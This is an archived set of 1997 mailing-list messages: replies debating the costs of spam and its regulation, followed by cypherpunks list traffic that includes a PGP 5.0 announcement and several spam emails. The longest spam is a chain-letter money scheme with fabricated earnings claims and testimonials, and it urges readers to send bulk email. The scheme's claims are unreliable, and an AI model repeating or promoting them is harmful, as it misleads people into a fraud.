is just one example of the social control process.  The flood of hostile
email spammers who include real email addresses receive are another.
Legitimate commercial email does not evoke these strong reactions.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA

*********

Date: Wed, 4 Jun 1997 16:15:27 -0400
To: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu
From: "Shabbir J. Safdar" <shabbir@vtw.org>


The combined EF-Florida/EFF-Austin/VTW filings for the FTC workshop will
contain an exhaustive examination of the costs associated with junk email
and the technology paradigms for addressing it.

It's a technology paper, and doesn't take any particular political agenda.

-S

*********

Date: Wed, 4 Jun 97 16:11:58 EDT
From: djones@insight.dcss.McMaster.CA (David Jones)


> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would
> 	like to know how to quantify it, and
> 	compare it with the cost of sending
> 	e-mail.

To many people, the cost of spam is simply the time and tedium wasted
deleted unwanted messages.  Pretty minimal.  A burdensome set of
regulatory restrictions would also be an annoyance as people waste time
and effory making sure reasonable email correspondence "complies"
with the new rules.

To some users of certain online services, they must pay for
email messages or disk space and must pay for connect time.
In these cases, there is a real and measurable monetary cost
of spam.  I'm sorry, I can't quantify that for you.

At the organizational level, some companies may pay for 
Internet traffic bandwidth.  If a significant fraction of
the traffic is wasted on spam (actually I *really* doubt this is the case)
then it could be calculated.


> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Hang on.  A true "pyramid scheme" requires the victims to
send money to the folks operating the scheme.  Therefore, they
can't be entirely anonymous ... or they'd never be able to cash in!

Banning "commercial email" is just nuts.  Should we also
ban "business-related email" ?  Or "advertising email" ?
.... or what about "political advertising on the Net" ??

The Canadian government just made the front page of HotWired's
online magazine for being foolish enough to ban certain political
advertisements on the Net.  Surely the U.S. won't make the same mistake.

-- David Jones, PhD
president, Electronic Frontier Canada -- djones@efc.ca

*********

Date: Wed, 4 Jun 1997 18:15:59 -0400 (EDT)
From: wyang@ktel.osc.edu
To: declan@well.com


Hi.

I run a Free-Net -- a community outreach project of the Ohio State
University and the Ohio Supercomputer Center, which gives free access
to anyone who lives in our service area (we're serving about 20,000
people right now -- I understand that, in our service area, Compuserve
only has about 12,000 customers).

I don't read the censorship fighting list, but someone who does
forwarded me your message.

I don't know about user costs... but I do know about network-level
(provider-level) costs.  Disk space is only PART of the computational
problem.  There's also the swallowing of network bandwidth, and the
drain on compute resources (CPU/RAM).

My site normally carries about 25,000 unique message ID's per day.
Our estimates (these are eyeball numbers, not based on hard-and-fast
numbers) make it look as though 10% to 20% of those messages are spam.
That's ten to twenty percent of our e-mail operation cost being
immediately put toward spam.  Beyond that, our users complain about
spam.  A lot.  Right now, about an hour of my time every day is spent
dealing with spam complaints (about other sites spamming us, mind).
That's 1/8th of my work time, with a massive opportunity cost (as well
as a real cost).  The other staff members are *also* getting similar
time drains.  We currently estimate that between $500 and $2000 per
month is completely lost to spammers -- funds redirected away from our
community outreach/service mission, SUBSIDIZING COMMERCIAL OPERATIONS
which generally do not enrich our community.  That monthly cost is
being drained out of a very small ($150k - $200k per year) project
budget which is only getting smaller because people only donate to our
donation-driven budget when they like what's going on, and they don't
like spam.

You might try to call it the cost of doing business... except for the
fact that I'm not a normal network carrier.  I'm a Free-Net, one of
those community-minded sites that's trying to make sure that access to
the informational wealth on the Internet is available at price that
everyone can afford (free).  Universal access is being threatened by
this kind of activity, which has a massive user-level costs and
implications.  Most Free-Nets are incapable of handling the constant
barrage of spam, and the complaints they generate.


> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Everything can be traced on the 'net.  The question is what the cost
of tracing it is going to be.

You need to remember that there's virtually NO cost associated with
*sending* spam.  ISP connectivity costs, maybe bandwidth metering for
a couple of messages.

Those messages, however, can be expanded (1:1,000,000 kinds of ratios
are potentially possible; one message can theoretically generate a
MILLION spam messages; in practice, I've seen 1:10,000 ratios).  The
networks that carry the traffic are taking that computational and
network-bandwidth cost.  And they get hit by complaints from their
users.

I recognize that no matter what the law is going to do, you're not
going to *stop* spam.  The issue is to reduce the volume of spam
enough to make sure that the cost is reduced to acceptable and
absorbable cost-levels.  That may mean making spamming tools such as
"e-mail blaster" criminal tools.

Free speech is great... but it's only free when it's not invasive into
the rights of others.  Spam *is* invasive, and there are clear,
acceptable, and frankly more effective alternative methods for
communicating commercial messages.

	-Bill

System Manager, Lead System Administrator
The Greater Columbus Free-Net

********

From: clinton@annoy.com (Clinton at Annoy)
To: "'declan@well.com'" <declan@well.com>

It is vital to distinguish between "unsolicited email" and "spam".

Spam is essentially considered mass e-mailing for commercial purposes,
(usually such as the selling of a product or service).

If "unsolicited e-mail" is rendered illegal, what will happen to someone who
mistakenly sends an email to the wrong address? It's like prosecuting 
someone for dialing the wrong number.

What about a deliberately targeted, but unsolicited email that is crafted to express 
displeasure to a politician, for instance? To be potentially prosecuted on such a basis 
could (and will) place a severe chill on the rights of people to communicate freely 
with elected officials - the cornerstone of democracy.

A protocol to deal with spamming is by no means unwelcome, but to confuse it with unsolicited 
email is potentially very dangerous. Especially with a government so intent on censoring the 
free flow of information and thought. Perhaps the first place to start would be to clearly
define spam.

Clinton Fein
Publisher and Editor
annoy.com

*************

From: Eric Murray <ericm@lne.com>
Subject: Re: Spam costs and questions
To: declan@well.com
Date: Wed, 4 Jun 1997 14:09:42 -0700 (PDT)

Declan McCullagh writes:
> 
> A friend who's going to be speaking on one of the FTC panels next week
> sent me a few questions about spam. Does anyone want to try their hand at
> answering them? I'll forward along all responses I get.
> 
> 	What are the costs to consumers of
> 	unsolicited e-mail?  I guess the time it
> 	takes to delete it might be one, hard
> 	drive space might be another.  I would
> 	like to know how to quantify it, and
> 	compare it with the cost of sending
> 	e-mail.

Also there's the cost of network transport of spam, both from
the spammer's host to the recipient's ISP, and from the ISP
to the recipients PC.  The last is often the worst, as it eats up
time the victim could be using to do something productive.

In addition, most spam is bounced through an innocent third party
who has a good network connection, like a university.
Sending out a lot of spam takes much bandwidth, so the spammer
steals the bandwidth and processing power from the innocent third party.

> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

Spammers need to have a way that you can respond to them.
Since spam is legal, and they don't want email in return, they
include phone numbers, fax numbers, or snail-mail addresses
for people to reply to.  If spam were illegal, then spammers
could be tracked via the phone numbers.  It's only the email's
return path that's difficult to trace- spam, because it is selling
something, must have a way for potential customers to respond.

Most of the purported 'anti-spam' legislation is thinly-disguised
LEGITIMIZATION of spam!!  Anything that puts the burden on ISPs
or recipients to filter out 'tagged' messages legitimizes
spam.  As annoying as spam is, I would much prefer that nothing
be done rather than a poorly-thought-out law.  So far, all the proposed
laws I have seen have had flaws in them that make me unable to
support them.  To be honest, I can not myself come up with a law that
I would find acceptable.  It's a hard problem.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 

***********

Date: Wed, 4 Jun 97 16:10:07 -0400
From: Ray Everett-Church <ray@everett.org>
To: "Declan McCullagh" <declan@well.com>, <fight-censorship@vorlon.mit.edu>

On 6/4/97 3:44 PM, Declan McCullagh (declan@well.com) wrote:

>A friend who's going to be speaking on one of the FTC panels next week
>sent me a few questions about spam. Does anyone want to try their hand at
>answering them? I'll forward along all responses I get.
>
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

I also will be speaking at the FTC next week and address that question in 
my FTC filing which can be seen at 
<http://www.smart.net/~everett/comment.html>

The short version of the answer is that UCE is difficult to assign a 
clear cost to in part because it is spread over such an ever widening 
base that the more people you spam, the harder it is to know where the 
costs are concentrated. However there are costs to the bandwidth provider 
for the site originating the spam in terms of consumed bandwidth, there's 
also costs of consumed bandwidth leading into every site that receives 
the mail. Once it arrives at an ISP, there are costs in terms of the CPU 
time and system efficiency issues, and disk space consumed, and costs for 
the consumers who may have to spend more time and money (if they pay on a 
metered basis) to download and sort through the stuff. It's hard to 
quantify in dollars and cents, but lets look at the quantities we're 
talking about. AOL has publically estimated that they process about 30 
million pieces of email a day and further they've publically estimated 
that 40-45% of that is spam. I recently sampled 3 days of my regular spam 
load and the average piece was a hair over 5000 bytes. 5k * 13 million 
messages, you're talking roughly 65 million kilobytes a day. (somebody 
please correct my math... i'm a lawyer not an accountant). Since people 
don't read their email every day, some of that must be stored for several 
days. And if it is bouncing back to an invalid sender address, the rest 
ends up in the postmaster mailbox. Assuming that those same figures and 
costs are spread among other ISPs as well, that's a heck of a lot of data 
to transmit and store...which translates into costs for ISPs and their 
customers.

>
>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.

I don't think anybody wants to ban all commercial mail, just the 
unsolicited advertisements for which the advertisers don't bear the real 
costs. If you're truly trying to operate a moneymaking business, you've 
got to have someplace for people to send the money... So regardless of 
how you disguise the headers, you still have a means of tracking down the 
culprit... and in the case of the Smith legislation you'd have the chance 
to recover up to $1500 per message. There is at least one major national 
collection agency that I know of who is chomping at the bit to recover 
that for you.

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------

********

Date: Wed, 04 Jun 1997 19:20:36 -0400
From: Chris Poupart <jyhad@odyssee.net>
To: declan@well.com

<quote>
        If you banned commercial e-mail,
        wouldn't it just affect legitimate
        commercial transactions?  That is to say,
        wouldn't fly-by-night pyramid-scheme
        builders still be able to spam?  I would
        think that if they are so untraceable
        that it's hard to block their spam that
        it wouldn't really matter if it were
        simply made illegal.
</quote>

making spam illegal would be a futile plan, unless the authorities were
given the power to persue not just the sender, but the people for whome
it advertises.  Not only could the fly-by-night pyramid-schemes work,
but there are programs out there that allow you to route your e-mail so
that it is Anonymous, now these programs can also do bulk mailing... I
think you get my picture.  If you could also press charges against the
advertised company (providing it was authorised by them), then that
might work.  If not, well then with all the free e-mail available
(www.hotmail.com and www.netaddress.com or .net I can't remember),
people might want to set up an e-mail account to use with Usenet and to
give as pw, ect, and then they could keep one privit and "secret"
amongst their friends.  The internet has flourished w/out government
help and I beleive that it will continiue to do so.

					Chris Poupart
					Montreal, Canada

-- 
Chris Poupart                        mailto:chris@peacefire.org   
Support Freedom of Speech and visit: 
http://www.peacefire.org | http://www.eff.org
http://www.geocities.com/Colosseum/Field/6078/censor-index.html

**********

From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
To: Declan McCullagh <declan@well.com>
Date:          Thu, 5 Jun 1997 11:16:21 GMT+2

Hallo Declan

I really enjoy your list.  The mailings are very interesting and
relevant.  Thanks.  My thoughts on the two questions:

>     What are the costs to consumers of
>     unsolicited e-mail?  I guess the time it
>     takes to delete it might be one, hard
>     drive space might be another.  I would
>     like to know how to quantify it, and
>     compare it with the cost of sending
>     e-mail.

It would be extremely difficult to quantify in monetary terms.  It has
been long since I had one of those BIG things in my mailbox.  Most of
these has lately been smaller emails that compare well in size to some of
the material I send around.  Because harddrives are not that expensive
anymore, storage space is IMO, not a factor at all.

The irritation factor is my biggest concern.  You have to sort it from
the valuable mail, that takes time.  You have to delete it, that takes
time. And some people has to download it, that takes time.

This eating up of my time, irritates me. And with the present information
overload, time is one of the few things we definitely don't have.

>     If you banned commercial e-mail,
>     wouldn't it just affect legitimate
>     commercial transactions?  That is to say,
>     wouldn't fly-by-night pyramid-scheme
>     builders still be able to spam?  I would
>     think that if they are so untraceable
>     that it's hard to block their spam that
>     it wouldn't really matter if it were
>     simply made illegal.

You are not going to be able to ban it.  As long as email is email, there
will be people using it to spam.  Even if you make it illegal, it will
still happen.

A few quick thoughts or ideas to be kicked around:
1. What could be made illegal is the selling of email addresses.
2. Ban *unsolicited* commercial email
3. Make ISP who supply service for free or without proper checking liable
for prosecution if spam comes from their system.
4.  Black-list people that are caught spamming (use in tandem with 3).

A number of these spammers are not once-only fly-by-nighters.  They strike
again and again.  Because it is not illegal at the moment, no-one can do
anything.  I am not able to write the legalese but these are some rough
thoughts on the matter.

Unsolicited email is unsolicited email, and the sooner we get that out of
the system, the better.


Groetnis
Marius Loots

-------------------------------------------------------
Maestro  mloots@medic.up.ac.za  +27-12-319-2144  pgp2.6
TOP 50 on the SA WebChart - Have a look and vote NOW!!!
http://www.geocities.com/Athens/6398
Add some Chaos to your Life and put the World in Order
-------------------------------------------------------

*********

Date: Wed, 4 Jun 1997 13:28:38 -0700
To: declan@relay.pathfinder.com
From: Roger Bohn <Rbohn@UCSD.edu>
Subject: Re: Spam costs and questions


At 3:47 PM -0400 6/4/97, Declan McCullagh wrote:
>A friend who's going to be speaking on one of the FTC panels next week
>sent me a few questions about spam. Does anyone want to try their hand at
>answering them? I'll forward along all responses I get.
>
>	What are the costs to consumers of
>	unsolicited e-mail?  I guess the time it
>	takes to delete it might be one, hard
>	drive space might be another.  I would
>	like to know how to quantify it, and
>	compare it with the cost of sending
>	e-mail.

A big cost is that it reduces the S/N ratio of e-mail.  As the amount of
spam goes up, sooner or later you start missing legitimate messages that
you should have read, because you do blanket erases, don't read carefully,
close down entire accounts, etc.  Personally I've not reached that point,
but spam is growing exponentially so I give it 2 years.

Cost of telephone connect time is also a consideration for most users.
Even if you are on a flat phone rate, there is an opportunity cost from
having your phone tied up longer.   (Yes, even if you have 2 lines--the
members of my household are always fighting over the second line.)

>
>	If you banned commercial e-mail,
>	wouldn't it just affect legitimate
>	commercial transactions?  That is to say,
>	wouldn't fly-by-night pyramid-scheme
>	builders still be able to spam?  I would
>	think that if they are so untraceable
>	that it's hard to block their spam that
>	it wouldn't really matter if it were
>	simply made illegal.
>
Yes and no.  Fly by nights would continue, certainly.  But look how
successful the mail fraud laws have been at limiting (not eradicating) mail
based pyramid schemes, for example.   Laws, if carefully drawn, would have
an effect.

I think mandatory labeling is much better than banning commercial e-mail,
by the way.  An outright ban has several problems,  in the U.S. at least.
A mandatory label deals with the S/N issue cited above (you can filter
commercial messages), and as mail packages get smarter they can be set to
not download messages selectively, thus dealing with the other problems.
Something as draconian as an outright ban also encourages lawbreaking more
than a labeling provision would.

Roger Bohn

###









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: realwomen@dateline.net
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To: Webmaster@dateline.net
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Message-ID: <5544uld433-812@options.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 20797248@bbtt.de
Date: Fri, 6 Jun 1997 02:21:36 -0700 (PDT)
To: helper-deskx@uva-uuxxx.net
Subject: FREE GIFT & UP TO 4.9% APR VISA/MASTERCARD
Message-ID: <1JYFD552@uva-uuxxx.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 5 Jun 1997 20:36:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Dimitri McVeigh
Message-ID: <199706060336.XAA23074@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Hallam-Baker <hallam@ai.mit.edu> writes:
> > I'll accept that the ranting faction do some good work but I've
> > not seen anything usefull out of either Bell or Vulis unless that
> > is you are an FBI agent looking to get a promotion from Freeh.
 
> Dimitri rights code sometimes.  He wrote a cancel-bot.  Very
> constructive piece of work in an indirect way.  See: having nice
> freely available cancel-bots enables technically clueless, would
> be-censors to censor more.  They censor more, and cause a nuisance for
> themselves sending out tons of cancel messages.  This incentivizes
> more and more people to ignore cancels (the trend in news
> administration these days I understand is to ignore cancels entirely),
> which means that you can't have your USENET posts censored nearly as
> easily.

  Dimitri has long pushed the envelope of censorship and challenged
those who don't like it to do something about it.
  The reason that Hallam-Baker is able to post thinly veiled "Dimitri
is a cocksucker!" messages to the list is because Dimitri refused to
lay down and quit when he was forcibly censored for his "Gilmore is
a cocksucker!" messages. If the censorship coupe d'etat had succeded,
then Hallam-Baker's post would have been trashed into the flames list.

  Dimitri and others, such as the Freedom-Knights, made it possible to
"route around" the censorship of USENET posts to such an extent that
any attempt I might make to censor Hallam-Baker's demeaning of Dimitri
on USENET would have little effect. 
  The bottom line is that Hallam-Baker's demeaning of Dimitri without
facing censorship on this list and on USENET is partly the result of
the efforts of Dimitri, himself, to fight censorship.
  This is not surprising, since, after all, Dimitri is a cypherpunk.
(Despite all of his claims to the contrary.)

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Fri, 6 Jun 1997 19:57:09 -0700 (PDT)
To: Cryptography List <pgp-mime@purpletape.cs.uchicago.edu
Subject: [ANNOUNCE] Phil Zimmermann on recent FUD and PGP 5.0 plans
Message-ID: <v0400020bafbe24a62d21@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain


A message from our Fearless Leader...

   dave

................................. cut here .................................

-----BEGIN PGP SIGNED MESSAGE-----

Last month, Pretty Good Privacy Inc went through a  reorganization in
its top management.  We were spending too much money, too fast.  Tom
Steding was replaced by Phil Dunkelberger as the president of PGP, and
I handed over the chairman title to Jonathan Seybold, who had been, with
me, the original cofounder of the company.  Jonathan is devoting his time
to the business side of things, while I am focussing my attention on my
role as chief technology officer.

I have seen some speculation in some usenet newsgroups that these changes
were in some way connected with the fact that PGP was recently sued by RSA
Data Security over some dispute regarding royalties for use of the RSA
patent, which PGP holds a license to.  Let me set the record straight
on this.  There are sound business reasons why this shuffling of top
management occurred at PGP, and these reasons are known to all of our
employees.  The RSA lawsuit against PGP is absolutely not one of the
reasons, not even remotely.  I don't think shuffling top management is
a likely reaction for any company to take in response to a lawsuit, even
if the lawsuit had merit, which this one does not.  We fully expect the
RSA matter to be resolved in arbitration proceedings, in our favor.

I know that it is common practice for some companies to issue statements
to "spin" the story about certain events, sometimes at the expense of
truth.  This makes a lot of people understandably skeptical about such
explanations.  I do have responsibilities toward my company, but no
one could get me to deny a truth about the reasons for the restructuring.
The truth is, the restructuring had absolutely nothing at all to do with
the RSA lawsuit.

I would now like to announce that we will be releasing PGP 5.0 in mid-June.
It's in beta release right now on our web page (www.pgp.com).  In keeping
with my own dedication to personal freedom and privacy, we will be releasing
a freeware version for noncommercial use through MIT's web site
(web.mit.edu/pgp), just like in the old days before the company was formed.
And we do plan to publish the full PGP source code for Mac, Windows 95,
and Linux.

There are a lot of new exciting features, including automatic key lookups
from remote key servers on the Internet, which will likely result in the
rapid growth of a ready-made nationwide PGP public-key infrastructure,
on an unprecedented scale.  We are also encouraging the migration to new
public key algorithms in addition to RSA, namely the NIST Digital
Signature Standard (DSS), as well as Diffie-Hellman (Elgamal) keys.
We expect most of the new users to be using these new algorithms instead
of RSA, in part because they offer new features, better performance, and
better security for the same key sizes.  I hope that you will all join me
in this opportunity to move to these new algorithms, allowing everyone to
finally enjoy the use of public key cryptography without the encumberances
of patents.

Philip Zimmermann
Chief Technology Officer, PGP Inc.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM5WoZWV5hLjHqWbdAQGaxgP/UM+i7Pz38x68zdWVOsTrQVepa+0FUndC
NkvTi5iMTC9up7HJgleXMWuAB00qVB8XlC1/6oSx4Ot+gTecu0wXgNG/l8LXFBAo
YYxlPhR497fvKfnWXATkJ3jQJAQbACHXzh7Wycc1MGq+46o6+CkECrUvUs8//KQT
toJMdfVJEVA=
=ywNo
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: message@marketcom2.com
Date: Sat, 7 Jun 1997 14:39:23 -0700 (PDT)
To: skproductions@answerme.com
Subject: Web Site Visibility
Message-ID: <199706072136.OAA09799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



You are on the Web.  But can anybody find you?

Web Site Visibility is critical to your success online.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xmasterx@juno.com
Date: Sat, 7 Jun 1997 05:52:10 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <19970606.204444.11574.0.xmasterx@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SHIVAANI KUMAR <sl.kumar@student.qut.edu.au>
Date: Sat, 7 Jun 1997 00:12:12 -0700 (PDT)
To: cypherpunks-announce@toad.com
Subject: No Subject
Message-ID: <Pine.OSF.3.93.970607171147.25401B-100000@sparrow.qut.edu.au>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBSCRIBE cypherpunks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tradecom.Limited@dial.pipex.com
Date: Sat, 7 Jun 1997 12:28:38 -0700 (PDT)
To: profit@moneyy.com
Subject: $7747.00 in 21 Days
Message-ID: <1999888999.aat@makemoneyy.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 63716769@online-now.de
Date: Sat, 7 Jun 1997 23:23:01 -0700 (PDT)
To: 96955904@ili33nks.net
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <1JYFD552@ili33nks.net>
MIME-Version: 1.0
Content-Type: text/plain


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*Please leave e-mail address if you would like to recieve this package via e-mail.

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Once you have received this message you are automatically removed from 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lawchek@softcell.net
Date: Sun, 8 Jun 1997 12:36:08 -0700 (PDT)
To: hhkgyu7@hgkjhkjh.com
Subject: Invitation To The Electronic Academy Of Law
Message-ID: <hhh888hhj.com>
MIME-Version: 1.0
Content-Type: text/plain


The Electronic Academy of Law                                              
                       INVITATION TO THE ELECTRONIC ACADEMY OF LAW
                               //HTTP://www.Lawchek.com/academy.htm

You are cordially invited to be inducted into the electronic Academy of Law
(eAL), developed for lawyers who recognize the value of legal electronic
media. In addition to your personal profile listing, free legal software and web
site information is included in your membership. Further information can be
found at our web site located at http://www.Lawchek.com/academy.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: show.me.the.money@denmark.it.earthlink.net
Date: Sun, 8 Jun 1997 21:44:30 -0700 (PDT)
To: money@denmark.it.earthlink.net
Subject: show me the money
Message-ID: <199706090247.TAA17997@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: $$$$$opportunity@denmark.it.earthlink.net
Date: Mon, 9 Jun 1997 00:04:29 -0700 (PDT)
To: $$$$$opportunity@denmark.it.earthlink.net
Subject: $$$$$opportunity
Message-ID: <199706090527.WAA15693@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



Dear friend,

June 1997.  Mark your calender.  This is no joke and I'm
not here to waste your 
time, so pay close attention.  I didn't originate this,
but I sent it.  The plan is 
SIMPLE, and actually WORKS, for one reason only:  "32
cents"  

By this I mean a lack thereof...no letters to mail.  Only
a few strokes of your
keyboard and a few thousand emails moving at the speed of
light, basically 
for FREE, other than your internet access fee.  It's
started with VERY MINIMAL 
outlay ($20) and the income return will have you laughing
in DISBELIEF all the
way to the bank.  Do it now or hear about it later...read
on please, and thank me 
when you make your first $1000....

Talk to you in eight weeks...
 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 <>
You are about to make at least $50,000 - In less than 90
days.  Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 <>
 
The enclosed information is something I almost let slip
through my fingers.
Fortunately, sometime later I re-read everything and gave
some thought and
study to it.
 
My name is Christopher Erickson.  Two years ago, the
corporation I worked at
for the past twelve years down-sized and my position was
eliminated.  After
unproductive job interviews,  I decided to open my own
business.  Over the
past year, I incurred many unforeseen financial problems.
I owed my family,
friends, and creditors over $35,000.  The economy was
taking a toll on my
business and I just couldn't seem to make ends meet.  I
had to refinance and
borrow against my home to support my family and struggling
business.  I
truly believe it was wrong for me to be in debt like this.
 AT THAT MOMENT
something significant happened in my life and I am writing
to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!
 
In mid-December, I received this program via email.  Six
months prior to
receiving this program I had been sending away for
information on various
business opportunities.  All of the programs I received,
in my opinion, were
not cost effective.  They were either too difficult for me
to comprehend or
the initial investment was too much for me to risk to see
if they worked or
not.  One claimed I'd make a million dollars in one
year...it didn't tell me
I'd have to write a book to make it.
 
But like I was saying, in December of '95 I received this
program.  I didn't
send for it, or ask for it, they just got my name off a
mailing list.  THANK
GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was
reading it correctly, I couldn't believe my eyes.  Here
was a MONEY-MAKING 
PHENOMENON.  I could invest as much as I wanted to start,
without putting 
me further in debt.  After I got a pencil and paper and
figured it out, I would at
least get my money back.  After determining that the
program is LEGAL and
NOT A CHAIN LETTER, I decided "WHY NOT".
 
Initially I sent out 10,000 emails.  It only cost me about
$15.00 for my
time on-line.  The great thing about email is that I
didn't need any money
for printing to send out the program, only the cost to
fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off,
but I promised
myself that I would not "rip-off" anyone, no matter how
much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email
extracting and
mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders
for REPORT #1. By
January 13th, I had received 26 orders for REPORT #1.
When you read the
GUARANTEE in the program, you will see that "YOU MUST
RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
SEND OUT
MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If 
you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR
MORE ORDERS
FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS
UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I
needed.  So I sat back
and relaxed.  By March 19th, of my emailing of 10,000, I
received $58,000
with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.
 Please take time
to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER!
Remember,  it wont work  if you don't try it.  This
program does work, but
you must follow it EXACTLY!  Especially the rules of not
trying to place
your name in a different place.  It doesn't work, you'll
lose out on a  lot
of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to
20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF
THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm
sorry.  It really is a
great opportunity with little cost or risk to you.  If you
choose to
participate, follow the program and you will be on your
way to financial
security.
 
If you are a fellow business owner and you are in
financial trouble like I
was, or you want to start your own business, consider this
a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000)
look like piled up
on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it
away, but later
wondered if I shouldn't have given it a try.  Of course, I
had no idea who
to contact to get a copy, so I had to wait until I was
emailed another copy
of the program.  Eleven months passed, then it came.  I
DIDN'T throw this
one away.  I made $41,000 on the first try."
 
                                        Dawn W.,
Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is
no free lunch in
life.  You get out of life what you put into it.'  Through
trial  and error
and a somewhat slow frustrating start, I finally figured
it out. The program
works very well, I just had to find the right target group
of people to
email it to.  So far this year, I have made over $63,000
using this program.
I know my dad would have been very proud of me."
 
                                        Alan B.,
Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and
looked over the
enclosed program and reports, you should have concluded
that such a program,
and  one that is legal,  could not have been created by an
amateur.
Let me tell you a little about myself.  I had a profitable
business for ten
years.  Then in 1979 my business began falling off.  I was
doing the same
things that were previously successful for me, but it
wasn't working.
Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and
recession had replaced the stable economy that had been
with us since 1945.
I don't have to tell you what happened to the unemployment
rate...because
many of you know from first hand  experience. There were
more failures and
bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they
were doing
invested wisely and moved up.  Those who did not,
including those who never
had anything to save or invest, were moving down into the
ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET
